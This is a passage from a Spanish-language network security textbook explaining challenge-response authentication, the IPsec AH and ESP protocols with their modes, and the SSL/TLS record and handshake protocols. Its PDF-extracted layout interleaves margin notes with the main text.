-
tA,CMAC(kAB,{tA,B})

B

• Autenticación con números aleatorios:

.

A

�
rB

-
CMAC(kAB,{rB,B})

B

• Autenticación mutua con números aleatorios:
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.

A

�
rB

-
rA,CMAC(kAB,{rA, rB,B})

�
CMAC(kAB,{rB, rA,A})

B

En este caso, se debe añadir el identificador del destinatarioA en el

cálculo del último mensaje para evitar ataques de repetición en sentido

contrario, ya que ahora los atacantes pueden ver el valorrA.

Protocolos de reto-respuesta con clave pública

Hay dos formas de utilizar las técnicas de clave pública en los protocolos de

reto-respuesta:

• El reto se manda cifrado con clave pública y la respuesta es el reto descifra-

do con la correspondiente clave privada.

• El reto se envía en claro y la respuesta es la firma del reto.

Dado que el usuarioA tiene que utilizar si clave privada sobre un mensaje que

le han enviado, ha de tomar ciertas precauciones para evitar que la otra parte

haga un uso ilegítimo de la respuesta. Esto lo veremos en cada uno de los dos

tipos de protocolos de reto-respuesta con clave pública.
Claves para aplicaciones
distintas

Para evitar los abusos que
se pueden cometer contra
una clave pública, es muy
recomendable utilizar
claves públicas distintas
para cada aplicación, por
ejemplo una clave para
recibir mensajes
confidenciales y otra para
la autenticación.

1) Descifrado del reto

Si A recibe un reto cifrado con su clave pública, antes de enviar la respues-

ta debe asegurarse que quien ha enviado el reto conoce su valor. Sino, un

atacante podría enviarle aA un reto cifrado, haciendo creer que lo ha gen-

erado aleatoriamente, pero que en realidad lo ha extraído de otro mensaje

confidencial que alguien había enviado aA cifrado con su clave pública.

Si A responde a este reto, está dando al atacante el mensaje confidencial

descifrado.

Una posibilidad es queA reciba, juntamente con el retor cifrado, un re-

sumen ohashde este reto.
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.

A

�
h(r),B,E(kpubA

,{r,B})

-
r

B

CuandoA recibe el mensaje, utiliza su clave privada para obtenerr y B, y

comprueba que estos valores sean correctos. Si elhashdel retor coincide

con el valor recibidoh(r), esto significa queB conoce este reto. Por tanto,

se puede enviar aB como respuesta el valor descifrado. Si no, no se le

envía nada, porque puede tratarse de un defraudador que quiera obtener

ilegítimamente este valor descifrado.

Otra posibilidad es queA pueda escoger una parte del reto. Este es el

principio del llamadoprotocolo modificado de clave públicade Needham-

Schroeder, que además proporciona autenticación mutua.

.

A

-
E(kpubB

,{rA,A})

�
E(kpubA

,{rA, rB})

-
rB

B

ParaA, el reto está formado porrA y rB: el hecho de que la primera parte la

haya generadoA evita que el reto haya sido elegido maliciosamente porB.

ParaB, el reto incluye el identificador deA, con lo cual tampoco puede

ser un mensaje cifrado que un tercero había enviado aB y queA quiere

descifrar ilegítimamente.

2) Firma del reto

La Recomendación X.509 no sólo especifica los formatos de certifica-

dos y listas de revocación que hemos visto en el subapartado 1.3, sino

que también define unos protocolos de autenticación fuerte basados en fir-

mas digitales que utilizan marcas de tiempo y números aleatorios. Aquí

mostraremos otros protocolos, que son los equivalentes a los que hemos

visto anteriormente basados en claves simétricas.

Como en el caso del descifrado con clave privada,A debe prestar atención

con lo que firma: nunca debe firmar directamente un reto que le hayan

enviado, sino que en la firma siempre tiene que intervenir como mínimo

una parte del texto que haya escogido el propioA.
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En la descripción de estos protocolos,SA(M) quiere decir la firma digital

del mensajeM con la clave privada deA.

• Autenticación con marca de tiempo:

.

A

-
tA,B,SA({tA,B})

B

• Autenticación con números aleatorios:

.

A

�
rB

-
rA,B,SA({rA, rB,B})

B

Aquí la inclusión del valorrA evita queB haya escogidorB maliciosa-

mente para hacer firmar aA un mensaje sin que se de cuenta.

• Autenticación mutua con números aleatorios:

.

A

�
rB

-
rA,B,SA({rA, rB,B})

�
A,SB({rB, rA,A})

B
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3. Protección del nivel de red: IPsec .

En los apartados anteriores hemos visto los mecanismos básicos de protección,

que proporcionan servicios como la confidencialidad o la autenticación.

En el momento de aplicar estos mecanismos a las redes de computadores,

existen diversas opciones en cuanto al nivel de las comunicaciones donde se

introduzcan les funciones de seguridad.

• La protección anivel de red garantiza que los datos que se envíen a los

protocolos de nivel superior, como TCP o UDP, se transmitirán protegidos.

El inconveniente es que puede ser necesario adaptar la infraestructura de

la red y, en particular los encaminadores (routers), para que entiendan las

extensiones que es preciso añadir al protocolo de red (IP) para proporcionar

esta seguridad.

• La protección anivel de transporte, por su lado, tiene la ventaja de que

sólo se precisa adaptar las implementaciones de los protocolos (TCP, UDP,

etc.) que haya en los nodos extremos de la comunicación, que normalmente

están incorporadas al sistema operativo o en librerías especializadas. En

este caso, pues, sólo sería necesario un cambio en el software.

• La protección anivel de aplicaciónpuede responder mejor a las necesi-

dades de ciertos protocolos. Un ejemplo concreto es el del correo elec-

trónico, en el que interesa proteger los datos de aplicación, es decir, los

mensajes de correo, más que los paquetes a nivel de transporte o de red.

Esto es así porque un mensaje es vulnerable a ataques de acceso ilegíti-

mo o de falsificación no sólo cuando se está transmitiendo por la red sino

también cuando está almacenado en el buzón del destinatario.

En esta sección veremos la arquitectura IPsec, diseñada para proteger el proto-

colo de red usado en Internet, es decir, el protocolo IP. En la sección siguiente

veremos mecanismos para proteger las comunicaciones a nivel de transporte,

y en el módulo de aplicaciones seguras veremos ejemplos de protección de los

protocolos a nivel de aplicación.
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3.1. La arquitectura IPsec

.

La arquitectura IPsec(RFC 2401) añade servicios de seguridad al pro-

tocolo IP (versión 4 y versión 6), que pueden ser usados por los proto-

colos de niveles superiores (TCP, UDP, ICMP, etc.).

IPsec se basa en el uso de una serie de protocolos seguros, de los cuales hay

dos que proporcionan la mayor parte de los servicios:

• El protocolo AH (Authentication Header, RFC 2402) ofrece el servicio de

autenticación de origen de los datagramas IP (incluyendo la cabecera y los

datos de los datagramas).

• El protocolo ESP (Encapsulating Security Payload, RFC 2406) puede

ofrecer el servicio de confidencialidad, el de autenticación de origen de

los datos de los datagramas IP (sin incluir la cabecera), o los dos a la vez.

Opcionalmente, cada uno de estos dos protocolos también puede proporcionar

otro servicio, el de protección contra repetición de datagramas.

Para la autenticación y la confidencialidad es necesario utilizar unas determi-

nadas claves, correspondientes a los algoritmos criptográficos que se apliquen.

Una posibilidad es configurar estas claves de forma manual en los nodos IPsec.

Normalmente, pero, se utilizaran otros protocolos para ladistribución de
claves, como pueden ser:

• ISAKMP (Internet Security Association and Key Management Protocol,

RFC 2408)

• IKE (Internet Key Exchange, RFC 2409)

• El protocolo de intercambio de claves OAKLEY (RFC 2412)

Los agentes que intervienen en la arquitectura IPSec son:

• Los nodos extremos de la comunicación: el origen y el destino final de los

datagramas.

• Los nodos intermedios que suporten IPsec, llamadospasarelas seguras,
Pasarelas seguras

Un encaminador IPsec
normalmente actúa como
pasarela, pero puede
pasar que en alguna
comunicación actue como
nodo extremo, como por
ejemplo cuando se le
envían comandos de
configuración con el
protocolo de gestión
SNMP.

como por ejemplo los encaminadores o cortafuegos con IPsec.

El tráfico IPsec también puede pasar por nodos intermedios que no soporten

IPsec. Estos nodos son transparentes al protocolo porque para ellos los data-

gramas IPsec son como cualquier otro datagrama IP.

La relación que se establece entre dos nodos que se envían datagramas IPsec

el uno al otro se llamaasociación de seguridad(SA). Estos dos nodos pueden
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ser o no los extremos de la comunicación, es decir, el origen de los datagramas

o su destino final. Por tanto, podemos distinguir dos tipos de SA:
SA

SA es la sigla de Security
Association.

• Las SA extremo a extremo: se establecen entre el nodo que origina los

datagramas y el nodo al cual van destinados.

• Las SA con una pasarela segura: al menos uno de los nodos es una pasarela

segura (también pueden serlo ambos). Por tanto, los datagramas vienen de

otro nodo y/o van hacia otro nodo.

Además, se considera que las SA son unidireccionales, es decir, siA envía

datagramas IPsec aB, y B envía datagramas IPsec aA, tenemos dos SA, una

en cada sentido.

por otro lado, cuando se establece una SA entre dos nodo, se utiliza uno de

los dos protocolos básicos IPsec: o AH o ESP. Si se quiere utilizar ambos a la

vez, se deberá establecer dos SA, una para cada protocolo.

Por tanto, puede pasar que en una comunicación entre dos nodos extremos

intervengan diversas SA, cada una con sus nodos de inicio y de final y con su

protocolo.

Cada nodo debe guardar información sobre sus SA, como por ejemplo los al-

goritmos criptográficos que utiliza cada una, las claves, etc. En la terminología

IPsec, el lugar donde se guarda esta información se llamabase de datos de
asociaciones de seguridado SAD. A cada SA le corresponden un número

SAD

SAD es la sigla de
Security Association
Database.

llamadoíndice de parámetros de seguridado SPI. Todas las SA que un

SPI

SPI es la sigla de Security
Parameters Index.

nodo tenga establecidas con otro nodo han de tener SPI diferentes. Por tanto,

cada SA en que participa un nodo queda identificada por la dirección IP de

destino y su SPI.

Para cada datagrama que llega a un nodo IPsec, se consulta unabase de datos
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de políticas de seguridad(SPD) donde se especifican criterios para determi-

nar cual de las siguientes 3 acciones se debe realizar:

• Aplicar servicios de seguridad IPsec al datagrama, es decir, procesarlo
SPD

SPD es la sigla de
Security Policy Database.

según AH y/o ESP.

• Procesarlo como un datagrama IP normal, es decir, de forma transparente

a IPsec.

• Descartar el datagrama.

3.2. El protocolo AH

El protocolo AH define una cabecera que contiene la información necesaria

para a la autenticación de origen de un datagrama.

El campoNext Headersirve para indicar a que protocolo corresponden los

datos que vienen a continuación de la cabecera AH. El campoPayload Length

indica la longitud de la cabecera (esta información se necesita porque el últi-

mo campo es de longitud variable, ya que depende del algoritmo de autentifi-

cación).
CampoNext Headeren
AH

Posibles valores del
campo Next Header son,
por ejemplo, 6 (TCP), 17
(UDP), 50 (si a
continuación viene un
cabecera ESP), etc.

El campo SPI sirve para identificar a que SA corresponde esta cabecera AH, y

el número de secuencia que se utiliza si se quiere proporcionar el servicio de

protección contra repetición de datagramas.

Finalmente, el último campo contiene un código de autentificación, por ejem-

plo un código MAC, calculado según el algoritmo que corresponda a esta

SA. El código se obtiene a partir del datagrama entero, excepto los campos
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que puedan variar de nodo a nodo (como los campos TTL yChecksumde la

cabecera IP), o los que tienen un valor desconocidoa priori (como el propio

campo de datos de autentificación de la cabecera AH).

El nodo que reciba un datagrama con encabezamiento AH verificará el código

de autentificación, y si es correcto dará el datagrama por bueno y lo procesará

normalmente. Si a parte se utiliza el servicio de protección contra repeticiones,

se necesita comprobar que el número de secuencia no sea repetido: si lo es, se

descarta el datagrama.

3.3. El protocolo ESP

El protocolo ESP define otra cabecera, que de hecho incluye dentro todos los

datos que vengan a continuación en el datagrama (lo que en inglés se llama

“payload” ).

Los campos SPI y número de secuencia son análogos a los de la cabecera AH.

A continuación vienen los datos del datagrama (payload), a los cuales puede
Datos cifrados en ESP

Dependiendo del
algoritmo de cifrado
utilizado, puede ser
necesario incluir antes de
los datos cifrados
parámetros como el
vector de inicialización,
etc.

ser necesario añadir bytes adicionales (padding) si se utiliza un algoritmo de

cifrado en bloque, para conseguir que el número de bytes a cifrar sea múltiple

de la longitud de bloque. El campoPadding Lengthindica exactamente el

número de bytes que se han añadido (puede ser 0). El campoNext Header

indica de que protocolo son los datos del datagrama.
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Dependiendo del servicio o servicios que proporcione esta cabecera ESP, puede

ser que los datos estén cifrados (incluyendo elpaddingy los camposPadding

Lengthy Next Header), que se le añade un código de autenticación calculado

a partir de la cabecera ESP (pero no de las cabeceras que pueda haber antes),

o ambas cosas a la vez.

El nodo que reciba un datagrama con cabecera ESP deberá verificar el código

de autenticación, o descifrar los datos, o ambas cosas (por este orden, porque si

se aplican los dos servicios primero se cifra y después se autentican los datos

cifrados). Si a más se utiliza el servicio de protección contra repeticiones,

también se debe comprobar el número de secuencia. Este último servicio,

pero, sólo se puede utilizar cuando la cabecera ESP está autenticada.

3.4. Modos de uso de los protocolos IPsec

La arquitectura IPsec define dos modos de uso de los protocolos AH y ESP,

dependiendo de como se incluyan las cabeceras correspondientes en un data-

grama IP.

• En el modo transporte, la cabecera AH o ESP se incluye después de la

cabecera IP convencional, como si fuera una cabecera de un protocolo de

nivel superior, y a continuación van los datos del datagrama (por ejemplo,

un segmento TCP con su cabecera correspondiente, etc.).

• En elmodo túnel, el datagrama original se encapsula entero, con su cabecera

y sus datos, dentro de otro datagrama. Este otro datagrama tendrá una

cabecera IP en la cual las direcciones de origen y de destino serán las de

los nodos inicio y final de la SA. Por tanto, se dice que entre estos dos

nodos hay un “túnel” dentro del cual viajan intactos los datagramas orig-

inales. A continuación de la cabecera IP del datagrama “externo” hay la

cabecera AH o ESP.

Las siguientes figuras muestran la disposición de las cabeceras IPsec en cada

modo. En estas figuras, “trailer ESP” se refiere a los camposPadding Length

y Next Headerde la cabecera ESP.
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Camp Next Headeren
ESP

Los posibles valores del
campo Next Header son
los mismos que en la
cabecera AH: 6 (TCP), 17
(UDP), etc. Si los datos
(payload) empezaran con
una cabecera AH, el valor
sería 51, pero no es
habitual aplicar ESP a un
datagrama con AH, es
más normal hacerlo a la
inversa.
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El protocolo IP prevé que un datagrama se pueda fragmentar, y se puede dar el

caso que los fragmentos de un mismo datagrama vayan por caminos diferentes

hasta llegar a su destino final. Esto representaría un problema en una SA

entre pasarelas seguras (o entre un nodo extremo y una pasarela segura) si se

utilizara el modo transporte: por ejemplo, algunos fragmentos podrían quedar

sin proteger, otros podrían resultar indescifrables porque no han pasado por la

pasarela que los había de descifrar, etc. Para evitar estas situaciones, en IPsec

sólo se permite el modo transporte en las SA extremo a extremo.
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El modo túnel no tiene este problema porque, aunque la SA sea entre pasarelas,

cada datagrama tiene como dirección de destino la del nodo que hay al final

del túnel, y todos los fragmentos finalmente tienen que llegar a este nodo. Por

tanto, el modo túnel se puede utilizar en cualquier SA, tanto si es extremo a

extremo como si interviene una pasarela segura.

Como hemos visto antes, puede haber diversas SA en el camino entre el orig-

inador de los datagramas y el destino final. Esto quiere decir que las disposi-

ciones de cabecera AH y ESP que muestran las figuras anteriores se pueden

combinar entre ellas. Por ejemplo, puede haber un túnel dentro de otro túnel,

o un túnel dentro de una SA en modo transporte, etc.

Otro caso que se puede dar es el de dos SA entre los mismos nodos de origen

y de destino, una con el protocolo AH y la otra con el protocolo ESP. En este

caso, el orden más lógico es aplicar primero ESP con servicio de confiden-

cialidad y después AH, ya que de así la protección que ofrece AH, es decir, la

autenticación, se extiende a todo el datagrama resultante.
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4. Protección del nivel de transporte: SSL/TLS/WTLS .

Tal y como hemos visto en el apartado anterior, el uso de un protocolo seguro

a nivel de red puede requerir la adaptación de la infraestructura de comuni-

caciones, por ejemplo cambiar los encaminadores IP por otros que entiendan

IPsec.

.

Un método alternativo que no necesita modificaciones en los equipos de

interconexión es introducir la seguridad en los protocolos de transporte.

La solución más usada actualmente es el uso del protocolo SSL o de

otros basados en SSL.

Este grupo de protocolos comprende:

• El protocolo de transporteSecure Sockets Layer(SSL), desarrollado por

Netscape Communications a principios de los años 90. La primera versión

de este protocolo ampliamente difundida y implementada fue la 2.0. Poco

después Netscape publicó la versión 3.0, con muchos cambios respecto a

la anterior, que hoy ya casi no e utiliza.

• La especificaciónTransport Layer Security(TLS), elaborada por la IETF

(Internet Engineering Task Force). La versión 1.0 del protocolo TLS es-

tá publicada en el documento RFC 2246. Es prácticamente equivalente a

SSL 3.0 con algunas pequeñas diferencias, por lo que en ciertos contextos

se considera el TLS 1.0 como si fuera el protocolo “SSL 3.1”.

• El protocoloWireless Transport Layer Security(WTLS), perteneciente a la

familia de protocolos WAP (Wireless Application Protocol) para el acceso

a la red des de dispositivos móviles. La mayoría de los protocolos WAP

son adaptaciones de los ya existentes a las características de las comunica-

ciones inalámbricas, y en particular el WTLS está basado en el TLS 1.0.

Las diferencias se centran principalmente en aspectos relativos a el uso efi-

ciente del ancho de banda y de la capacidad de cálculo de los dispositivos,

que puede ser limitada.

En este apartado hablaremos de les características comunes a SSL 3.0 y TLS 1.0,

con algún detalle particular a las diferencias entre ellos. La mayoría de ref-

erencias a los “protocolos SSL/TLS” se deben entender aplicables también a

WTLS.
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4.1. Características del protocolo SSL/TLS

El objetivo inicial del diseño del protocolo SSL fue proteger las conexiones

entre clientes y servidores web con el protocolo HTTP. Esta protección debía

permitir al cliente asegurarse que se había conectado al servidor auténtico,

y enviarle datos confidenciales, como por ejemplo un número de tarjeta de

crédito, con la confianza que nadie más que el servidor sería capaz de ver

estos datos.

Las funciones de seguridad, pero, no se implementaron directamente en el

protocolo de aplicación HTTP, si no que se optó por introducirlas a nivel de

transporte. De este modo podría haber muchas más aplicaciones que hicieran

uso de esta funcionalidad.

Con este fin se desarrolló una interfaz de acceso a los servicios del nivel de
Datagramas en WTLS

Una característica
distintiva del WTLS es
que no solamente permite
proteger conexiones TCP,
como hacen SSL y TLS, si
no que también define un
mecanismo de protección
para las comunicaciones
en modo datagrama,
usadas en diversas
aplicaciones móviles.

transporte basada en la interfaz estándar de lossockets. En esta nueva inter-

faz, funciones comoconnect , accept , send o recv fueron sustituidas

por otras equivalentes pero que utilizaban un protocolo de transporte seguro:

SSL_connect , SSL_accept , SSL_send , SSL_recv , etc. El diseño se

realizó de tal modo que cualquier aplicación que utilizara TCP a través de las

llamadas de lossocketspodía hacer uso del protocolo SSL solamente cam-

biando estas llamadas. De aquí proviene el nombre del protocolo.

Los servicios de seguridad que proporcionan los protocolos SSL/TLS son:

Confidencialidad. El flujo normal de información en una conexión SSL/TLS
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consiste en intercambiar paquetes con datos cifrados mediante claves simétri-

cas (por motivos de eficiencia y rapidez). Al inicio de cada sesión, cliente

y servidor se ponen de acuerdo en que claves utilizarán para cifrar los datos.

Siempre se utilizan dos claves distintas: una para los paquetes enviados del

cliente al servidor, y la otra para los paquetes enviados en sentido contrario.

Para evitar que un intruso que esté escuchando el diálogo inicial pueda saber

cuales son las claves acordadas, se sigue un mecanismo seguro de intercambio

de claves, basado en criptografía de clave pública. El algoritmo concreto para

este intercambio también se negocia durante el establecimiento de la conexión.

Autenticación de entidad.Con un protocolo de reto-respuesta basado en fir-

mas digitales el cliente pude confirmar la identidad del servidor al cual se ha

conectado. Para validar las firmas el cliente necesita conocer la clave pública

del servidor, y esto normalmente se realiza a través de certificados digitales.

SSL/TLS también prevé la autenticación del cliente frente al servidor. Esta

posibilidad, pero, no se usa tan a menudo porque muchas veces, en lugar de

autenticar automáticamente el cliente a nivel de transporte, las mismas aplica-

ciones utilizan su propio método de autenticación.
Autenticación de cliente

Un ejemplo de
autenticación de cliente a
nivel de aplicación son las
contraseñas que pueden
introducir los usuarios en
formularios HTML. Si la
aplicación utiliza este
método, al servidor ya no
le hace falta autenticar al
cliente a nivel de
transporte.

Autenticación de mensaje.Cada paquete enviado en una conexión SSL/TLS,

a más de ir cifrado, puede incorporar un código MAC para que el destinatario

compruebe que nadie ha modificado el paquete. Las claves secretas par el

cálculo de los códigos MAC (una para cada sentido) también se acuerdan de

forma segura en el diálogo inicial.

A más, los protocolos SSL/TLS están diseñados con estos criterios adicionales:

Eficiencia. Dos de las características de SSL/TLS, la definición de sesiones y

la compresión de los datos, permiten mejorar la eficiencia de la comunicación.

• Si el cliente pide dos o más conexiones simultáneas o muy seguidas, en lu-
Conexiones consecutivas
o simultáneas

Una situación típica en
que se utiliza SSL/TLS es
la de un navegador web
que accede a una página
HTML que contiene
imágenes: con HTTP “no
persistente” (el único
modo definido en
HTTP 1.0), esto requiere
una primera conexión
para la página y a
continuación tantas
conexiones como
imágenes haya. Si las
conexiones pertenecen a
la misma sesión SSL/TLS,
sólo hace falta realizar la
negociación una vez.

gar de repetir la autenticación y el intercambio de claves (operaciones com-

putacionalmente costosas porque intervienen algoritmos de clave pública),

hay la opción de reutilizar los parámetros previamente acordados. Si se

hace uso de esta opción, se considera que la nueva conexión pertenece a

la mismasesiónque la anterior. En el establecimiento de cada conexión

se especifica unidentificador de sesión, que permite saber si la conexión

empieza una sesión nueva o es continuación de otra.

• SSL/TLS prevé la negociación de algoritmos decompresiónpara los datos

intercambiados, para compensar el tráfico adicional que introduce la se-

guridad. Pero ni SSL 3.0 ni TLS 1.0 especifican ningún algoritmo concreto

de compresión.

Extensibilidad. Al inicio de cada sesión, cliente y servidor negocian los algo-

ritmos que utilizarán para el intercambio de claves, la autenticación y el cifra-

do (a más del algoritmo de compresión). Las especificaciones de los proto-

colos incluyen unas combinaciones predefinidas de algoritmos criptográficos,
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pero dejan abierta la posibilidad de añadir nuevos algoritmos si se descubren

otros que sean más eficientes o más seguros.

4.2. El transporte seguro SSL/TLS

La capa de transporte seguro que proporciona SSL/TLS se puede considerar

dividida en dos subcapas.

• La subcapa superior se encarga básicamente de negociar los parámetros

de seguridad y de transferir los datos de la aplicación. Tanto los datos de

negociación como los de aplicación se intercambian enmensajes.

• En la subcapa inferior, estos mensajes son estructurados enregistros a los

cuales se les aplica, según corresponda, la compresión, la autenticación y

el cifrado.

El protocolo de registros SSL/TLSes el que permite que los datos protegi-

dos sean convenientemente codificados por el emisor y interpretados por el

receptor. Los parámetros necesarios para la protección, como pueden ser los

algoritmos y las claves, se establecen de forma segura al inicio de la conexión

mediante elprotocolo de negociación SSL/TLS. A continuación veremos las

características de cada uno de estos dos protocolos.
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4.2.1. El protocolo de registros SSL/TLS

La información que se intercambian cliente y servidor en una conexión SSL/

TLS se empaqueta en registros, que tienen este formato:

El significado de cada campo es el siguiente:

• El primer campo indica cual es el tipo de contenido de los datos, que puede

ser:
Datos de un registro
SSL/TLS

Normalmente los datos de
un registro corresponden
a un mensaje de la
subcapa superior, pero
también es posible juntar
en un mismo registro dos
o más mensajes, siempre
que todos pertenecen al
tipo indicado por el primer
campo. También puede
pasar que un mensaje se
fragmente en diversos
registros, si su longitud es
superior a un cierto
máximo (16384 bytes
antes de comprimir).

– un mensaje del protocolo de negociación,

– una notificación de cambio de cifrado,

– un mensaje de error, o

– datos de aplicación.

• El segundo campo son dos bytes que indican la versión del protocolo: si

son iguales a 3 y 0 el protocolo es SSL 3.0, y si son iguales a 3 y 1 el

protocolo es TLS 1.0.

• El tercer campo indica la longitud del resto del registro. Por tanto, es igual

a la suma deLd y LMAC y, si los datos están cifrados con un algoritmo en

bloque,Lp +1.

• El cuarto campo son los datos, comprimidos si se ha acordado algún algo-

ritmo de compresión.

• El quinto campo es el código de autenticación (MAC). En el cálculo de

este MAC intervienen la clave MAC, un número de secuencia implícito de

64 bits (que se incrementa en cada registro pero no se incluye en ningún

campo) y, naturalmente, el contenido del registro.

La longitud de este campo depende del algoritmo de MAC que se haya

acordado utilizar. Puede ser igual a 0 si se utiliza el algoritmo nulo, que

es el que se utiliza al inicio de la negociación mientras no se ha acordado

ningún otro.
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• Si se ha acordado utilizar un algoritmo en bloque para cifrar los datos,
Paddingen SSL y TLS

Otra diferencia entre SSL
y TLS está en los bytes de
padding. En SSL debe
haber el mínimo
necesario, y su valor
(excepto el último byte) es
irrelevante. En TLS todos
los bytes de padding
deben tener el mismo
valor que el último.

es preciso añadir bytes adicionales (padding) a cada registro para tener un

número total que sea múltiple de la longitud del bloque.

La técnica que se usa para saber cuantos bytes adicionales hay es poner al

menos uno, y el valor del último byte siempre indica cuantos otros bytes de

paddinghay antes (este valor puede ser 0 si sólo faltaba un byte para tener

un bloque entero).

El protocolo de registros SSL/TLS se encarga de formar cada registro con sus

campos correspondientes, calcular el MAC, y cifrar los datos, el MAC y el

paddingcon los algoritmos y las claves que pertocan.

En la fase de negociación, mientras no se hayan acordado los algoritmos, los

registros no se cifran ni se autentican, es decir, se aplican algoritmos nulos.

Como veremos después, pero, todo el proceso de negociación queda autenti-

cadoa posteriori.

4.2.2. El protocolo de negociación SSL/TLS

.

El protocolo de negociación SSL/TLS, también llamadoprotocolo de
encajada de manos(“Handshake Protocol”), tiene por finalidad aut-

enticar el cliente y/o el servidor, y acordar los algoritmos y claves que

se utilizaran de forma segura, es decir, garantizando la confidencialidad

y la integridad de la negociación.

Como todos los mensajes SSL/TLS, los mensajes del protocolo de negociación

se incluyen dentro del campo de datos de los registros SSL/TLS para ser trans-

mitidos al destinatario. La estructura de un mensaje de negociación es la sigu-

iente:

El contenido del mensaje tendrá unos determinados campos dependiendo del

tipo de mensaje de negociación del que se trate. En total hay 10 tipos distintos,
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que veremos a continuación en el orden en que se tienen que enviar.

1) Petición de saludo(Hello Request)

Cuando se establece una conexión, el servidor normalmente espera que

el cliente inicie la negociación. Alternativamente, puede optar por enviar

un mensajeHello Requestpara indicar al cliente que está preparado para

empezar. Si durante la sesión el servidor quiere iniciar una renegociación,

también lo puede indicar al cliente enviando-le un mensaje de este tipo.

2) Saludo de cliente(Client Hello)

El cliente envía un mensajeClient Hello al inicio de la conexión o como

respuesta a unHello Request. Este mensaje contiene la siguiente informa-

ción:

• La versión del protocolo que el cliente quiere utilizar.

• Una cadena de 32 bytes aleatorios.
Bytes aleatorios

De los 32 bytes aleatorios
que se envían en los
mensajes de saludo, los
4 primeros deben ser una
marca de tiempo, con
precisión de segundos.

• Opcionalmente, el identificador de una sesión anterior, si el cliente de-

sea volver a utilizar los parámetros que se han acordado.

• La lista de las combinaciones de algoritmos criptográficos que el cliente

ofrece utilizar, por orden de preferencia. Cada combinación incluye el

algoritmo de cifrado, el algoritmo de MAC y el método de intercambio

de claves.

Algoritmos criptográficos previstos en SSL/TLS

SSL/TLS contempla los algoritmos criptográficos siguientes:

– Cifrado: RC4, DES, Triple DES, RC2, IDEA y FORTEZZA (este último sólo
en SSL 3.0).

– MAC: MD5 y SHA-1.

– Intercambio de claves: RSA, Diffie-Hellman y FORTEZZA KEA (este último
sólo en SSL 3.0).

Si solamente interesa autenticar la conexión, sin confidencialidad, también se
puede usar el algoritmo de cifrado nulo.

• La lista de los algoritmos de compresión ofrecidos, por orden de pref-

erencia (como mínimo debe haber uno, aunque sea el algoritmo nulo).

Algoritmos de
compresión

El único algoritmo de
compresión previsto en
SSL/TLS es el algoritmo
nulo, es decir, sin
compresión.

3) Saludo de servidor(Server Hello)

Como respuesta, el servidor envía un mensajeServer Hello, que contiene

esta información:

• La versión del protocolo que se usará en la conexión. La versión será

igual a la que envió el cliente, o inferior si esta no es soportada por el

servidor.

• Otra cadena de 32 bytes aleatorios.
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• El identificador de la sesión actual. Si el cliente envió uno y el servi-

dor quiere reprender la sesión correspondiente, debe responder con el

mismo identificador. Si el servidor no quiere reemprender la sesión

(o no puede porque ya no guarda la información necesaria), el iden-

tificador enviado será diferente. Opcionalmente, el servidor puede no

enviar ningún identificador para indicar que la sesión actual nunca no

podrá ser reemprendida.

• La combinación de algoritmos criptográficos escogida por el servidor de

entre la lista de las enviadas por el cliente. Si se reemprende una sesión

anterior, esta combinación debe ser la misma que se utilizó entonces.

• El algoritmo de compresión escogido por el servidor, o el que se utilizó

en la sesión que se reemprende.

Si se ha decidido continuar una sesión anterior, cliente y servidor ya pueden

empezar a utilizar los algoritmos y claves previamente acordados y se

saltan los mensajes que vienen a continuación pasando directamente a los

de finalización de la negociación (mensajesFinished).

4) Certificado de servidor(Certificate) o intercambio de claves de servidor
(Server Key Exchange)

Si el servidor puede autenticarse frente al cliente, que es el caso más habit-

ual, envía el mensajeCertificate. Este mensaje normalmente contendrá el

certificado X.509 del servidor, o una cadena de certificados.

Si el servidor no tiene certificado, o se ha acordado un método de inter-

cambio de claves que no precisa de él, debe mandar un mensajeServer Key

Exchange, que contiene los parámetros necesarios para el método a seguir.

5) Petición de certificado(Certificate Request)

En caso que se deba realizar también la autenticación del cliente, el servi-
Tipo de certificados

En SSL/TLS están
contemplados los
certificados de clave
pública RSA, DSA o
FORTEZZA KEA (este
último tipo solamente en
SSL 3.0).

dor le envía un mensajeCertificate Request. Este mensaje contiene una

lista de los posibles tipos de certificado que el servidor puede admitir, por

orden de preferencia, y una lista de los DN de las autoridades de certifi-

cación que el servidor reconoce.

6) Fi de saludo de servidor(Server Hello Done)

Para terminar esta primera fase del diálogo, el servidor envía un mensaje

Server Hello Done.

7) Certificado de cliente(Certificate)

Una vez el servidor ha mandado sus mensajes iniciales, el cliente ya sabe

Cliente sin certificado

Si el cliente recibe una
petición de certificado
pero no tiene ninguno
apropiado, en SSL 3.0
debe enviar un mensaje
de aviso, pero en TLS 1.0
debe enviar un mensaje
Certificate vacío. En
cualquier caso, el servidor
puede responder con un
error fatal, o bien
continuar sin autenticar el
cliente.

como continuar el protocolo de negociación. En primer lugar, si el servidor

le ha pedido un certificado y el cliente tiene alguno de las características

solicitadas, lo envía en un mensajeCertificate.

8) Intercambio de claves de cliente(Client Key Exchange)

El cliente envía un mensajeClient Key Exchange, el contenido del cual
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depende del método de intercambio de claves acordado. En caso de seguir

el método RSA, en este mensaje hay una cadena de 48 bytes que se usará

comosecreto pre-maestro, cifrada con la clave pública del servidor.
Ataques de versión del
protocolo

Un posible ataque contra
la negociación es
modificar los mensajes
para que las dos partes
acuerden utilizar el
protocolo SSL 2.0, que es
más vulnerable. Para
evitar este ataque, a los
dos primeros bytes del
secreto pre-maestro debe
haber el número de
versión que se envió en el
mensaje Client Hello.

Entonces, cliente y servidor calculan elsecreto maestro, que es otra ca-

dena de 48 bytes. Para realizar esta cálculo, se aplican funcioneshashal

secreto pre-maestro y a las cadenas aleatorias que se enviaron en los men-

sajes de saludo.

A partir del secreto maestro y las cadenas aleatorias, se obtienen:

• Las dos claves para el cifrado simétrico de los datos (una para cada

sentido: de cliente a servidor y de servidor a cliente).

• Las dos claves MAC (también una para cada sentido).

• Los dos vectores de inicialización para el cifrado, si se utiliza un algo-

ritmo en bloque.

9) Verificación de certificado(Certificate Verify)

Si el cliente ha mandado un certificado en respuesta a un mensajeCertifi-

cate Request, ya puede autenticarse demostrando que posee la clave priva-

da correspondiente mediante un mensajeCertificate Verify. Este mensaje

contiene una firma, generada con la clave privada del cliente, de una cade-

na de bytes obtenida a partir de la concatenación de todos los mensajes de

negociación intercambiados hasta el momento, desde elClient Hellohasta

el Client Key Exchange.

10)Finalización(Finished)

A partir de este punto ya se pueden utilizar los algoritmos criptográficos

negociados. Cada parte manda a la otra una notificación de cambio de

cifrado seguida de un mensajeFinished. La notificación de cambio de

cifrado sirve para indicar que el siguiente mensaje será el primer enviado

con los nuevos algoritmos y claves.

El mensajeFinishedsigue inmediatamente la notificación de cambio de
Verificación de
autenticidad en SSL y
TLS

Una de las principales
